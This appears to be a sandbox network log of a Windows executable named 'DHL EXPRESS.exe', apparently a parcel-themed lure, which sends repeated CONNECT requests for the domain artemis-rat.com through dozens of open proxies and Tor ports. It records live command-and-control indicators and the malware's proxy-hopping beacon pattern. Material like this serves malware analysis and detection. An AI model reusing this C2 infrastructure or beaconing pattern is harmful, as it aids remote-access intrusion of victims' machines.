Mar 11, 2024 18:36:53.909827948 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1693	192.168.2.8	54975	45.144.30.232	443	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:53.910995960 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1694	192.168.2.8	54717	45.125.222.97	47239	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:53.913768053 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1695	192.168.2.8	54799	162.223.89.84	80	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:53.927071095 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:37:09.542965889 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 17:37:09 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1696	192.168.2.8	54358	185.82.218.52	1080	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:53.927388906 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1697	192.168.2.8	54365	104.248.158.78	47225	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:53.930943012 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:57.097004890 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:37:00.147129059 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:37:06.206657887 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:37:18.300057888 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1698	192.168.2.8	54835	51.79.87.144	18636	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:53.932534933 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:54.457205057 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:55.269304037 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1699	192.168.2.8	51255	148.72.215.79	63212	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:53.937987089 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:57.096961975 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:37:00.147133112 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:37:06.206576109 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:37:18.300052881 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:37:30.397047997 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:37:42.409467936 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:38:06.411214113 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:38:54.409454107 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1700	192.168.2.8	54734	111.90.150.109	1080	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:53.971590042 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1701	192.168.2.8	54767	51.15.196.107	16379	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:53.977525949 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:54.769011021 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:55.769226074 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:57.675379038 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:37:01.269067049 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:37:04.753554106 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:37:07.472307920 CET	536	IN	HTTP/1.0 501 Tor is not an HTTP Proxy Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 68 74 6d 6c 3e 0a 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 54 68 69 73 20 69 73 20 61 20 53 4f 43 4b 53 20 50 72 6f 78 79 2c 20 4e 6f 74 20 41 6e 20 48 54 54 50 20 50 72 6f 78 79 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e 0a 3c 68 31 3e 54 68 69 73 20 69 73 20 61 20 53 4f 43 4b 73 20 70 72 6f 78 79 2c 20 6e 6f 74 20 61 6e 20 48 54 54 50 20 70 72 6f 78 79 2e 3c 2f 68 31 3e 0a 3c 70 3e 0a 49 74 20 61 70 70 65 61 72 73 20 79 6f 75 20 68 61 76 65 20 63 6f 6e 66 69 67 75 72 65 64 20 79 6f 75 72 20 77 65 62 20 62 72 6f 77 73 65 72 20 74 6f 20 75 73 65 20 74 68 69 73 20 54 6f 72 20 70 6f 72 74 20 61 73 0a 61 6e 20 48 54 54 50 20 70 72 6f 78 79 2e 0a 3c 2f 70 3e 3c 70 3e 0a 54 68 69 73 20 69 73 20 6e 6f 74 20 63 6f 72 72 65 63 74 3a 20 54 68 69 73 20 70 6f 72 74 20 69 73 20 63 6f 6e 66 69 67 75 72 65 64 20 61 73 20 61 20 53 4f 43 4b 53 20 70 72 6f 78 79 2c 20 6e 6f 74 0a 61 6e 20 48 54 54 50 20 70 72 6f 78 79 2e 20 49 66 20 79 6f 75 20 6e 65 65 64 20 61 6e 20 48 54 54 50 20 70 72 6f 78 79 20 74 75 6e 6e 65 6c 2c 20 75 73 65 20 74 68 65 20 48 54 54 50 54 75 6e 6e 65 6c 50 6f 72 74 0a 63 6f 6e 66 69 67 75 72 61 74 69 6f 6e 20 6f 70 74 69 6f 6e 20 69 6e 20 70 6c 61 63 65 20 6f 66 2c 20 6f 72 20 69 6e 20 61 64 64 69 74 69 6f 6e 20 74 6f 2c 20 53 4f 43 4b 53 50 6f 72 74 2e 0a 50 6c 65 61 73 65 20 63 6f 6e 66 69 Data Ascii: <html><head><title>This is a SOCKS Proxy, Not An HTTP Proxy</title></head><body><h1>This is a SOCKs proxy, not an HTTP proxy.</h1><p>It appears you have configured your web browser to use this Tor port asan HTTP proxy.</p><p>This is not correct: This port is configured as a SOCKS proxy, notan HTTP proxy. If you need an HTTP proxy tunnel, use the HTTPTunnelPortconfiguration option in place of, or in addition to, SOCKSPort.Please confi

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1702	192.168.2.8	54759	5.45.73.25	4955	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:53.977569103 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:54.693022966 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:55.693945885 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1703	192.168.2.8	54889	185.162.230.201	80	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:53.979130983 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:54.133676052 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 17:36:54 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1704	192.168.2.8	54356	107.181.161.81	4145	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:53.979134083 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1705	192.168.2.8	54893	104.21.85.109	80	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:53.981832027 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:54.136306047 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 17:36:54 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1706	192.168.2.8	53781	183.89.8.159	8080	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:53.987850904 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:58.012952089 CET	19	IN	HTTP/1.1 200 OK

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1707	192.168.2.8	54785	41.231.37.76	3128	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:54.106316090 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:37:51.106796026 CET	39	IN	HTTP/1.1 200 Connection established

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1708	192.168.2.8	54802	8.217.95.44	8899	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:54.106533051 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1709	192.168.2.8	54902	104.23.107.172	80	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:54.106678963 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:54.261113882 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 17:36:54 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1710	192.168.2.8	54818	141.95.160.178	48223	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:54.106846094 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:54.800311089 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:55.800517082 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:57.706635952 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:37:01.464638948 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:37:05.300308943 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:37:09.097064018 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:37:16.597042084 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:37:31.597031116 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1711	192.168.2.8	54789	219.243.212.118	8080	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:54.106869936 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:54.433509111 CET	22	IN	HTTP/1.1 502 ERROR

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1712	192.168.2.8	54913	104.17.248.164	80	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:54.106913090 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:54.261264086 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 17:36:54 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1713	192.168.2.8	54794	65.109.163.154	80	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:54.107008934 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
